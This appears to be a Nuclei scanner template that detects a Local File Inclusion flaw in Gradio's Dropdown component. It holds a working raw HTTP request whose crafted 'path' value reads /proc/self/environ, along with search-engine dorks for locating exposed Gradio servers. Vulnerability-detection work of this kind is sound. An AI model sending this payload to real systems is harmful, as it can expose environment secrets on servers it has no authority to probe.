gradio-lfi: Gradio - Local File Inclusion

id: gradio-lfi

info:
  name: Gradio - Local File Inclusion
  author: ritikchaddha
  severity: critical
  description: |
    Gradio's Dropdown component is vulnerable to Local File Inclusion (LFI) when the value is a dictionary controlled by an attacker. In the postprocess of components, if the value type is a dict, it flows to the async_move_files_to_cache function. When the dictionary is crafted with a "path" key, it causes local file inclusion allowing attackers to read arbitrary files.
  reference:
    - https://huntr.com/bounties/936ef084-45e1-4dc5-a419-bca071189565
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-20
  metadata:
    max-request: 1
    vendor: gradio_app
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: lfi,gradio,file-inclusion

http:
  - raw:
      - |
        POST /run/predict HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"data":["{\"path\":\"/proc/self/environ\"}"],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"ig8gs2fazn"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'url":'
          - 'path":"'
          - 'data":[{'
          - 'FileData'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
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